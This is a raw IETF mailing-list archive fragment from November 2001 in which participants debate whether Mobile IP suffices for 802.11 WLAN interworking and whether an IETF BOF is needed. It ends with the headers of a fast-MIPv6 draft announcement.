 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
@font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;
	mso-font-charset:2;
	mso-generic-font-family:auto;
	mso-font-pitch:variable;
	mso-font-signature:0 268435456 0 0 -2147483648 0;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:553679495 -2147483648 8 0 66047 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
p
	{margin-right:0in;
	mso-margin-top-alt:auto;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
p.para1, li.para1, div.para1
	{mso-style-name:para1;
	margin:0in;
	margin-bottom:.0001pt;
	text-indent:.5in;
	line-height:200%;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	mso-bidi-language:HE;}
span.EmailStyle19
	{mso-style-type:personal-reply;
	mso-ansi-font-size:10.0pt;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
 /* List Definitions */
@list l0
	{mso-list-id:293565682;
	mso-list-type:hybrid;
	mso-list-template-ids:1490601352 1445114762 67698691 67698693 67698689 =
67698691 67698693 67698689 67698691 67698693;}
@list l0:level1
	{mso-level-start-at:2;
	mso-level-number-format:bullet;
	mso-level-text:-;
	mso-level-tab-stop:.5in;
	mso-level-number-position:left;
	text-indent:-.25in;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
ol
	{margin-bottom:0in;}
ul
	{margin-bottom:0in;}
-->
</style>
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dblue =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>N=
o, MIP is
not sufficient, in my oppinion. There are many other issues involved =
when the
MN changes its AP from one WLAN to another. =
<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal =
style=3D'margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1;
tab-stops:list .5in'><![if !supportLists]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
mso-bidi-font-size:12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:
"Times New Roman";mso-bidi-font-family:"Times New Roman"'>-<font =
size=3D1
face=3D"Times New Roman"><span style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span></font></span><![endif]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;font-family:Arial'>Fast, seamless =
handover.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1;
tab-stops:list .5in'><![if !supportLists]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
mso-bidi-font-size:12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:
"Times New Roman";mso-bidi-font-family:"Times New Roman"'>-<font =
size=3D1
face=3D"Times New Roman"><span style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span></font></span><![endif]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;font-family:Arial'>Authentication and =
authorization.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1;
tab-stops:list .5in'><![if !supportLists]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
mso-bidi-font-size:12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:
"Times New Roman";mso-bidi-font-family:"Times New Roman"'>-<font =
size=3D1
face=3D"Times New Roman"><span style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span></font></span><![endif]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;font-family:Arial'>Billing (especially if the two WLANs are =
controlled
by different operators).<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1;
tab-stops:list .5in'><![if !supportLists]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
mso-bidi-font-size:12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:
"Times New Roman";mso-bidi-font-family:"Times New Roman"'>-<font =
size=3D1
face=3D"Times New Roman"><span style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span></font></span><![endif]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;font-family:Arial'>Context =
transfer<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1;
tab-stops:list .5in'><![if !supportLists]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
mso-bidi-font-size:12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:
"Times New Roman";mso-bidi-font-family:"Times New Roman"'>-<font =
size=3D1
face=3D"Times New Roman"><span style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span></font></span><![endif]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;font-family:Arial'>Mobility =
management.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1;
tab-stops:list .5in'><![if !supportLists]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
mso-bidi-font-size:12.0pt;mso-ascii-font-family:"Times New =
Roman";mso-hansi-font-family:
"Times New Roman";mso-bidi-font-family:"Times New Roman"'>-<font =
size=3D1
face=3D"Times New Roman"><span style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</span></font></span></font></span><![endif]><span =
class=3DEmailStyle19><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;font-family:Arial'>Quality-of-Service.<o:p></o:p></span></font></=
span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>N=
ow, the
IETF has different protocol for these, but how they fit together into =
the
interworking problem should be looked =
at.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>A=
lso
important, is to understand how the L2 functions in the WLANs =
interoperate with
the functions in the IP layer. Perhaps, some functions are better done =
in L2,
while others in the IP layer =
&#8230;..<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>W=
LANs are
going to be deployed more and more now, in campuses, enterprise =
networks, and
also in home networking. And how to interconnect them is of great =
importance.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>T=
hus, I believe,
if there were sufficient interest from people, IETF should consider =
taking an
active role in attempting to understand ALL the issues and decide what =
(if
anything) to do.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>T=
hus, a
BOF session on &#8220;Interconnecting 802.11 in IP Layer&#8221; <span =
style=3D"mso-spacerun:
yes">&nbsp;</span>is a small step.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>I=
 am
hoping to get a general feedback. =
Thanks.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>-=
Sharif.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle19><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><=
![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DTahoma><span =
style=3D'font-size:
10.0pt;font-family:Tahoma;color:black'>-----Original Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Pat R. Calhoun
[mailto:pcalhoun@bstormnetworks.com]<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Monday, November =
26, 2001
11:46 AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> 'Shahrier, Sharif =
M.'; 'Gary
Kenward'<br>
<b><span style=3D'font-weight:bold'>Cc:</span></b> =
'kempf@docomolabs-usa.com'<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> RE: [seamoby]
draft-ietf-seamoby-ct-reqs-02.txt<br>
<b><span style=3D'font-weight:bold'>Sensitivity:</span></b> =
Confidential</span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></p>

<p><font size=3D2 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp;</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>-----BEGIN PGP SIGNED MESSAGE-----</span></font><font =
color=3Dblack><span
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Hash: SHA1</span></font><font color=3Dblack><span =
style=3D'color:black'>
</span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p><font size=3D2 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
color:black'>Right so if MIP is sufficient, no BOF is =
required.</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp;</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>PatC</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>- -----Original Message-----</span></font><font =
color=3Dblack><span
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>From: Shahrier, Sharif M. [<a
href=3D"mailto:Sharif.Shahrier@InterDigital.com">mailto:Sharif.Shahrier@=
InterDigital.com</a>]
</span></font><font color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Sent: Monday, November 26, 2001 8:38 AM</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary =
Kenward'</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Cc: 'kempf@docomolabs-usa.com'</span></font><font =
color=3Dblack><span
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Subject: RE: [seamoby] =
draft-ietf-seamoby-ct-reqs-02.txt</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Sensitivity: Confidential</span></font><font =
color=3Dblack><span
style=3D'color:black'> </span></font><font color=3Dblack><span =
style=3D'color:black;
mso-color-alt:windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'><![if =
!supportEmptyParas]>&nbsp;<![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p><font size=3D2 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
color:black'>Well, an&nbsp; interworking solution need not necessarily =
be&nbsp;
a radio</span></font><font color=3Dblack><span style=3D'color:black'> =
<br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>access network (RAN)&nbsp; based solution. In fact, I have =
been</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>researching into what companies are doing to interwork =
different </span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>types of networks, including 802.11. Most of them seem to =
be using</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Mobile IP (RFC2002), with some extensions of their =
own.</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>As for IEEE, they just do L1 and L2, and nothing =
else.</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>- -Sharif.</span></font><font color=3Dblack><span =
style=3D'color:black'>
</span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p><font size=3D2 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
color:black'>The IESG would have zero interest on developing an air =
interface </span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>specific solution, and IEEE shouldn't get involved in L3 =
and
above. </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp; </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>See the problem :( </span></font><font color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp; </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>PatC </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>- - -----Original Message----- </span></font><font =
color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>From: Shahrier, Sharif M. [<a
href=3D"mailto:Sharif.Shahrier@InterDigital.com">mailto:Sharif.Shahrier@=
InterDigital.com</a>]
</span></font><font color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Sent: Monday, November 26, 2001 8:19 AM =
</span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward' =
</span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Cc: 'kempf@docomolabs-usa.com' </span></font><font =
color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt =
</span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Sensitivity: Confidential </span></font><font =
color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp;</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>As far as I know, the MWIF are currently looking into
interconnecting</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>solutions for WLANs. Also, SA1 in 3GPP have a WI on
interconnecting </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>UMTS and WLANs, so it may be interconnecting 802.11's are =
a
sub-set </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>of that. What are the chances of requesting the IESG about =
forming
an</span></font><font color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>ad-hoc at the next IETF meeting, and getting a favorable =
response</span></font><font
color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>......? </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp; </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>- - -Sharif. </span></font><font color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp; </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>- - -----Original Message----- </span></font><font =
color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>From: Pat R. Calhoun [<a =
href=3D"mailto:pcalhoun@bstormnetworks.com">mailto:pcalhoun@bstormnetwor=
ks.com</a>]
</span></font><font color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Sent: Monday, November 26, 2001 11:07 AM =
</span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>To: 'Shahrier, Sharif M.'; 'Gary Kenward' =
</span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Cc: 'kempf@docomolabs-usa.com' </span></font><font =
color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt =
</span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span style=3D'font-size:10.0=
pt;
color:black'>Sensitivity: Confidential </span></font><font =
color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp; </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>- - -----BEGIN PGP SIGNED MESSAGE----- </span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>Hash: SHA1 </span></font><font color=3Dblack><span =
style=3D'color:
black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>yes, I have particular interest in this area, but I am =
also not
sure </span></font><font color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>that the standards body is the right place for this work. =
</span></font><font
color=3Dblack><span style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>&nbsp; </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>PatC </span></font><font color=3Dblack><span =
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dblack><span =
style=3D'font-size:10.0pt;
color:black'>- - - -----Original Message----- </span></font><font =
color=3Dblack><span
style=3D'color:black'><br>
</span></font><font size=3D2 color=3Dnavy><span =
style=3D'font-size:10.0pt;color:navy'><span
style=3D"mso-spacerun: yes">&nbsp;</span></span></font><font size=3D2 =
color=3Dblack><span
style=3D'font-size:10.0pt;color:black'>-</span></font><font =
color=3Dblack><span
style=3D'color:black'> </span></font><font color=3Dblack><span =
style=3D'color:black;
mso-color-alt:windowtext'><o:p></o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C1769D.14D4FBD0--


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:33:07 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12306
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:33:02 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA06729;
	Mon, 26 Nov 2001 15:31:27 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA04313;
	Mon, 26 Nov 2001 15:14:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNB53h002668
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:11:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN2UcR000955
	for mobile-ip-dist; Mon, 26 Nov 2001 15:02:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN0u2B000527
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:01:33 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA16584
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 03:13:32 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA07216
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 03:13:31 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA18889;
	Mon, 26 Nov 2001 06:13:26 -0500 (EST)
Message-Id: <200111261113.GAA18889@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-fast-mipv6-03.txt
Date: Mon, 26 Nov 2001 06:13:26 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
